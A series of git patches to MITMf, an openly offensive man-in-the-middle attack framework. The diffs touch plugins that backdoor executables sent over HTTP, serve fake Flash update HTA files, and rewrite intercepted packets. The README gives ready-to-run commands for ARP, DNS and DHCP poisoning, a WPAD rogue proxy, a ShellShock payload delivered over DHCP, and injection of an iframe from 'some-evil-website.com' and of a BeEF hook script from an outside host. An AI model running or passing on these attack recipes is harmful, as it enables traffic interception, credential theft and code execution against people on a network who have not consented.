FilePwn(Plugin): def response(self, response, request, data): content_header = response.headers['Content-Type'] - client_ip = response.getClientIP() + content_length = int(response.headers['Content-Length']) + client_ip = request.client.getClientIP() for target in self.userConfig['targets'].keys(): if target == 'ALL': @@ -630,7 +631,7 @@ class FilePwn(Plugin): self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo) return {'response': response, 'request': request, 'data': bd_tar} - elif content_header in self.binaryMimeTypes: + elif (content_header in self.binaryMimeTypes) and (content_length <= self.FileSizeMax): for bintype in ['pe','elf','fatfile','machox64','machox86']: if self.bytes_have_format(data, bintype): self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo) diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 13385ca..3fef9f9 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -53,4 +53,4 @@ class HTADriveBy(Inject, Plugin): def options(self, options): options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") - options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]') + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]') From 719779542c51dfae74d5a8106172896cf20a7184 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 14:07:30 +0200 Subject: [PATCH 216/323] added latest version tag in README --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 615489a..c79ca1f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,5 @@ -[![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg)] +![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) +![Latest Version](https://img.shields.io/badge/mitmf-0.9.8-red.svg) #MITMf V0.9.8 - 'The Dark Side' From 85a9a95f2d6db58e0733b52cf5a7cb3f497b2bf8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 14:17:21 +0200 Subject: [PATCH 217/323] Added Responder to CONTRIBUTORS --- CONTRIBUTORS.md | 1 + README.md | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 7c9e529..78b5003 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -15,6 +15,7 @@ #Unintentional contributors and/or projects that I stole code from - Metasploit Framework's os.js and Javascript Keylogger module +- Responder by Laurent Gaffie - The Backdoor Factory and BDFProxy - ARPWatch module from the Subterfuge Framework - Impacket's KarmaSMB script diff --git a/README.md b/README.md index c79ca1f..50cf1a1 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) -![Latest Version](https://img.shields.io/badge/mitmf-0.9.8-red.svg) +![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) -#MITMf V0.9.8 - 'The Dark Side' +#MITMf Framework for Man-In-The-Middle attacks From 42499a9e32dea07383ea6d250a79d34406b36bb0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 15:12:24 +0200 Subject: [PATCH 218/323] Added description to the README --- README.md | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/README.md b/README.md index 50cf1a1..8312ee2 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,16 @@ Contact me at: **Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** +Description +============ +MITMf aims to provide a one-stop-shop for Man-In-The-Middle and Network attacks while updating and improving +existing attacks and techniques. + +Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely +re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. + +Additionally, the framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins. + Available plugins ================= - ```HTA Drive-By``` : Injects a fake update notification and prompts clients to download an HTA application From 0add358a570bae43ee6597b496e5e3497fecf864 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 26 Jul 2015 13:34:37 +0200 Subject: [PATCH 219/323] Update README.md --- README.md | 43 +++++++++++++++++++++---------------------- 1 file changed, 21 insertions(+), 22 deletions(-) diff --git a/README.md b/README.md index 8312ee2..a3c168f 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) ![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux%2FOSX-yellow.svg) #MITMf @@ -18,7 +19,7 @@ Contact me at: Description ============ -MITMf aims to provide a one-stop-shop for Man-In-The-Middle and Network attacks while updating and improving +MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving existing attacks and techniques. Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely @@ -28,23 +29,23 @@ Additionally, the framework contains a built-in SMB, HTTP and DNS server that ca Available plugins ================= -- ```HTA Drive-By``` : Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` : Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` : Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` : LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` : Partially bypass HSTS -- ```Spoof``` : Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` : Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` : Perform app cache poisoning attacks -- ```Ferret-NG``` : Transperently hijacks sessions -- ```BrowserProfiler``` : Attempts to enumerate all browser plugins of connected clients -- ```FilePwn``` : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` : Inject arbitrary content into HTML content -- ```BrowserSniper``` : Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` : Injects a Javascript keylogger into a client's webpages -- ```Replace``` : Replace arbitary content in HTML content -- ```SMBAuth``` : Evoke SMB challenge-response authentication attempts -- ```Upsidedownternet``` : Flips images 180 degrees +- **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application +- **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients +- **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- **Responder** : LLMNR, NBT-NS, WPAD and MDNS poisoner +- **SSLstrip+** : Partially bypass HSTS +- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing +- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type +- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks +- **Ferret-NG** : Transperently hijacks client sessions +- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients +- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- **Inject** : Inject arbitrary content into HTML content +- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins +- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages +- **Replace** : Replace arbitary content in HTML content +- **SMBAuth** : Evoke SMB challenge-response authentication attempts +- **Upsidedownternet** : Flips images 180 degrees How to install on Kali ====================== @@ -57,9 +58,7 @@ Installation ============ If you're rocking Kali and want the latest version: - Clone this repository -- Run the ```kali_setup.sh``` script - -**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** +- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**) If you're rocking any other Linux distro: - Clone this repository @@ -84,4 +83,4 @@ FAQ - Please read the [installation](#installation) guide. - **Dude, no documentation?** -- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki \ No newline at end of file +- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki From 7ec9f7b395105f308533708957a9b8360fc7e131 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 27 Jul 2015 20:44:23 +0200 Subject: [PATCH 220/323] This commit adds active packet filtering/modification to the framework (replicates etterfilter functionality) by using netfilterqueue, you can pass a filter using the new -F option, (will be adding an example later) additionaly removed some deprecated attributes and the --manual-iptables option --- README.md | 14 ++++------ core/packetparser.py | 45 +++++++++++++++++++++++++++++++ core/poisoners/arp/ARPpoisoner.py | 4 +-- core/sslstrip/ClientRequest.py | 12 +++++---- core/sslstrip/URLMonitor.py | 4 +++ core/utils.py | 18 +++++++++---- kali_setup.sh | 6 ----- mitmf.py | 15 ++++++++--- plugins/appcachepoison.py | 1 - plugins/browsersniper.py | 1 - plugins/ferretng.py | 1 - plugins/filepwn.py | 1 - plugins/responder.py | 1 - plugins/spoof.py | 15 ++++------- plugins/sslstrip+.py | 12 +++------ requirements.txt | 2 ++ other_setup.sh => setup.sh | 0 17 files changed, 99 insertions(+), 53 deletions(-) create mode 100644 core/packetparser.py delete mode 100755 kali_setup.sh create mode 100644 requirements.txt rename other_setup.sh => setup.sh (100%) diff --git a/README.md b/README.md index a3c168f..4329d70 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) ![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) -![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux%2FOSX-yellow.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) #MITMf @@ -56,22 +56,18 @@ How to install on Kali Installation ============ -If you're rocking Kali and want the latest version: -- Clone this repository -- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**) -If you're rocking any other Linux distro: - Clone this repository -- Run the ```other_setup.sh``` script -- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies +- Run the ```setup.sh``` script +- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies FAQ === - **Is Windows supported?** -- No, it will never be supported (so don't ask). +- Nope, don't think it will ever be - **Is OSX supported?** -- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! +- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket! - **I can't install package X because of an error!** - Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. diff --git a/core/packetparser.py b/core/packetparser.py new file mode 100644 index 0000000..0a8b1af --- /dev/null +++ b/core/packetparser.py @@ -0,0 +1,45 @@ +import threading + +from core.utils import set_ip_forwarding, iptables +from core.logger import logger +from scapy.all import * +from traceback import print_exc +from netfilterqueue import NetfilterQueue + +formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("PacketParser", formatter) + +class PacketParser: + + def __init__(self, filter): + self.filter = filter + + def start(self): + set_ip_forwarding(1) + iptables().NFQUEUE() + + self.nfqueue = NetfilterQueue() + self.nfqueue.bind(1, self.modify) + + t = threading.Thread(name='packetparser', target=self.nfqueue.run) + t.setDaemon(True) + t.start() + + def modify(self, pkt): + #log.debug("Got packet") + data = pkt.get_payload() + packet = IP(data) + + try: + execfile(self.filter) + except Exception: + log.debug("Error occurred in filter") + print_exc() + + pkt.set_payload(str(packet)) #set the packet content to our modified version + pkt.accept() #accept the packet + + def stop(self): + self.nfqueue.unbind() + set_ip_forwarding(0) + iptables().flush() \ No newline at end of file diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 1a937a0..4de8021 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -175,7 +175,7 @@ class ARPpoisoner: try: targetmac = self.arp_cache[targetip] # see if we already resolved that address - log.debug('{} has already been resolved'.format(targetip)) + #log.debug('{} has already been resolved'.format(targetip)) except KeyError: #This following replaces getmacbyip(), much faster this way packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) @@ -211,7 +211,7 @@ class ARPpoisoner: if targetmac is not None: try: - log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) + #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index b140da8..681e15a 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -86,13 +86,15 @@ class ClientRequest(Request): del headers['accept-encoding'] log.debug("Zapped encoding") - if 'if-none-match' in headers: - del headers['if-none-match'] + if self.urlMonitor.caching is False: - if 'if-modified-since' in headers: - del headers['if-modified-since'] + if 'if-none-match' in headers: + del headers['if-none-match'] - headers['pragma'] = 'no-cache' + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + headers['pragma'] = 'no-cache' return headers diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 3073a65..4db0b48 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -50,6 +50,7 @@ class URLMonitor: self.faviconReplacement = False self.hsts = False self.app = False + self.caching = False @staticmethod def getInstance(): @@ -75,6 +76,9 @@ class URLMonitor: else: return 443 + def setCaching(self, value): + self.caching = value + def addRedirection(self, from_url, to_url): for s in self.redirects: if from_url in s: diff --git a/core/utils.py b/core/utils.py index ce1b2a1..2aecf73 100644 --- a/core/utils.py +++ b/core/utils.py @@ -64,20 +64,23 @@ def get_mac(interface): class iptables: - dns = False - http = False - smb = False + dns = False + http = False + smb = False + nfqueue = False __shared_state = {} - + def __init__(self): self.__dict__ = self.__shared_state - def Flush(self): + def flush(self): log.debug("Flushing iptables") os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') self.dns = False self.http = False + self.smb = False + self.nfqueue = False def HTTP(self, http_redir_port): log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) @@ -93,3 +96,8 @@ class iptables: log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) self.smb = True + + def NFQUEUE(self): + log.debug("Setting iptables NFQUEUE rule") + os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') + self.nfqueue = True diff --git a/kali_setup.sh b/kali_setup.sh deleted file mode 100755 index d90d0b5..0000000 --- a/kali_setup.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/usr/bin/env bash - -git submodule init && git submodule update --recursive -apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto -apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap -pip install Pillow mitmflib diff --git a/mitmf.py b/mitmf.py index d7fe9a6..44f5349 100755 --- a/mitmf.py +++ b/mitmf.py @@ -54,11 +54,11 @@ sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") -sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") +sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic') #Initialize plugins and pass them the parser NameSpace object plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] @@ -93,7 +93,6 @@ reactor.listenTCP(options.listen_port, strippingFactory) ProxyPlugins().all_plugins = plugins -#All our options should be loaded now, start initializing the plugins print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) for plugin in plugins: @@ -122,6 +121,13 @@ print "|_ Sergio-Proxy v0.2.1 online" print "|_ SSLstrip v0.9 by Moxie Marlinspike online" print "|" +if options.filter: + from core.packetparser import PacketParser + pparser = PacketParser(options.filter) + pparser.start() + print "|_ PacketParser online" + print "| |_ Applying filter {} to incoming packets".format(options.filter) + #Start mitmf-api from core.mitmfapi import mitmfapi print "|_ MITMf-API online" @@ -149,6 +155,9 @@ print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode #start the reactor reactor.run() - print "\n" + +if options.filter: + pparser.stop() + shutdown() \ No newline at end of file diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index f40b456..c456db2 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -29,7 +29,6 @@ class AppCachePlugin(Plugin): optname = "appoison" desc = "Performs App Cache Poisoning attacks" version = "0.3" - has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py index 3d72fce..ea11fa6 100644 --- a/plugins/browsersniper.py +++ b/plugins/browsersniper.py @@ -30,7 +30,6 @@ class BrowserSniper(BrowserProfiler, Plugin): optname = "browsersniper" desc = "Performs drive-by attacks on clients with out-of-date browser plugins" version = "0.4" - has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/ferretng.py b/plugins/ferretng.py index e79f499..2bdfbf7 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -30,7 +30,6 @@ class FerretNG(Plugin): optname = "ferretng" desc = "Captures cookies and starts a proxy that will feed them to connected clients" version = "0.1" - has_opts = True def initialize(self, options): self.options = options diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 83bd6b9..837dd1f 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -80,7 +80,6 @@ class FilePwn(Plugin): desc = "Backdoor executables being sent over http using bdfactory" tree_info = ["BDFProxy v0.3.2 online"] version = "0.3" - has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/responder.py b/plugins/responder.py index 7b21f48..a4a6a14 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -28,7 +28,6 @@ class Responder(Plugin): desc = "Poison LLMNR, NBT-NS and MDNS requests" tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] version = "0.2" - has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/spoof.py b/plugins/spoof.py index 7f91e73..13e6c36 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -23,12 +23,10 @@ class Spoof(Plugin): optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" version = "0.6" - has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.manualiptables = options.manualiptables self.protocol_instances = [] from core.utils import iptables, shutdown, set_ip_forwarding @@ -74,18 +72,16 @@ class Spoof(Plugin): from core.servers.dns.DNSchef import DNSChef self.tree_info.append('DNS spoofing enabled') - if not options.manualiptables: - if iptables().dns is False: - iptables().DNS(self.config['MITMf']['DNS']['port']) + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") set_ip_forwarding(1) - if not options.manualiptables: - if iptables().http is False: - iptables().HTTP(options.listen_port) + if iptables().http is False: + iptables().HTTP(options.listen_port) for protocol in self.protocol_instances: protocol.start() @@ -109,7 +105,6 @@ class Spoof(Plugin): if hasattr(protocol, 'stop'): protocol.stop() - if not self.manualiptables: - iptables().Flush() + iptables().flush() set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py index 5a33d9c..51f21b3 100644 --- a/plugins/sslstrip+.py +++ b/plugins/sslstrip+.py @@ -25,25 +25,21 @@ class SSLstripPlus(Plugin): desc = 'Enables SSLstrip+ for partial HSTS bypass' version = "0.4" tree_info = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False def initialize(self, options): self.options = options - self.manualiptables = options.manualiptables from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef from core.utils import iptables - if not options.manualiptables: - if iptables().dns is False: - iptables().DNS(self.config['MITMf']['DNS']['port']) + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef().setHstsBypass() def on_shutdown(self): from core.utils import iptables - if not self.manualiptables: - if iptables().dns is True: - iptables().Flush() + if iptables().dns is True: + iptables().flush() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..192c664 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +git+git://github.com/kti/python-netfilterqueue +mitmflib \ No newline at end of file diff --git a/other_setup.sh b/setup.sh similarity index 100% rename from other_setup.sh rename to setup.sh From 720c86470ac2e8217301e5621e84e04e35ebb941 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 27 Jul 2015 21:54:45 +0200 Subject: [PATCH 221/323] added code climate, modified readme --- CHANGELOG.md | 14 +++++++++++++- README.md | 1 + 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 23a4e91..f2fc580 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,16 @@ -#Changes before v0.9.8 +- Added active filtering/injection into the framework + +- Fixed a bug in the DHCP poisoner which prevented it from working on windows OS's + +- Made some preformance improvements to the ARP spoofing poisoner + +- Refactored Appcachepoison , BrowserSniper plugins + +- Refactored proxy plugin API + +-Inject plugin now uses BeautifulSoup4 to parse and inject HTML/JS + +- Added HTA Drive by plugin - Added the SMBTrap plugin diff --git a/README.md b/README.md index 4329d70..3845e4b 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) ![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) ![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) +[![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf) #MITMf From 39e0ae0e8834973fcc081cc1ef6860f888f2e8ba Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 04:10:32 +0200 Subject: [PATCH 222/323] added features and examples in readme --- README.md | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 52 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3845e4b..52f96fc 100644 --- a/README.md +++ b/README.md @@ -26,10 +26,54 @@ existing attacks and techniques. Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. -Additionally, the framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins. +Main Features +============= + +- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. + +- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), +allowing users to modify any type of traffic or protocol. + +- The configuration file can be edited on-the-fly while MITMf is running and the changes will be passed down through the framework, this allows you to tweak settings of plugins and servers while performing an attack. + +- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. + +- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning a rogue WPAD rouge server support. + +Examples +======== + +- The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface ```enp3s0```: +```python mitmf.py -i enp3s0``` + +- ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` + +- Same as above + a WPAD rougue proxy server using the **Responder** plugin: +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` + +- Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): +```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` + +- Enable LLMNR/NBTNS/MDNS spoofing: +```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` + +- Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): +```python mitmf.py -i enp3s0 --spoof --dhcp``` + +- Same as above with a ShellShock payload that will be executed if any client is vulnerable: +```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` + +- Inject an HTML IFrame using the **Inject** plugin: +```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` + +- Inject a JS script: +```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` + +And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) + +#Currently available plugins -Available plugins -================= - **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application - **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients - **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser @@ -59,9 +103,14 @@ Installation ============ - Clone this repository +- ```apt-get install build-essential python-dev libnetfilter-queue-dev``` for active packet filtering/modification - Run the ```setup.sh``` script - Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies +**Note:** on Kali, Debian (and possibly Ubuntu): If pip complains about ```pcap.h``` missing, install the ```libpcap0.8-dev``` and ```python-pypcap``` packages and try again + +**Note 2:** If ```netfilterqueue``` fails to compile, install the ```libnetfilter-queue-dev``` package + FAQ === - **Is Windows supported?** From a024987c911cef50bf8e9cca106c44ab0b4e6442 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 02:19:11 +0200 Subject: [PATCH 223/323] Update README.md --- README.md | 36 ++++++++++++++++++++++-------------- 1 file changed, 22 insertions(+), 14 deletions(-) diff --git a/README.md b/README.md index 52f96fc..471ed33 100644 --- a/README.md +++ b/README.md @@ -26,48 +26,57 @@ existing attacks and techniques. Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. -Main Features -============= +Features +======== - The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. - As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol. -- The configuration file can be edited on-the-fly while MITMf is running and the changes will be passed down through the framework, this allows you to tweak settings of plugins and servers while performing an attack. +- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack. - MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. -- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning a rogue WPAD rouge server support. +- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. Examples ======== -- The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface ```enp3s0```: +The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: + ```python mitmf.py -i enp3s0``` -- ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: +ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: + ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` -- Same as above + a WPAD rougue proxy server using the **Responder** plugin: +Same as above + a WPAD rougue proxy server using the **Responder** plugin: + ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` -- Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): +Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): + ```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` -- Enable LLMNR/NBTNS/MDNS spoofing: +Enable LLMNR/NBTNS/MDNS spoofing: + ```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` -- Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): +Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): + ```python mitmf.py -i enp3s0 --spoof --dhcp``` -- Same as above with a ShellShock payload that will be executed if any client is vulnerable: +Same as above with a ShellShock payload that will be executed if any client is vulnerable: + ```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` 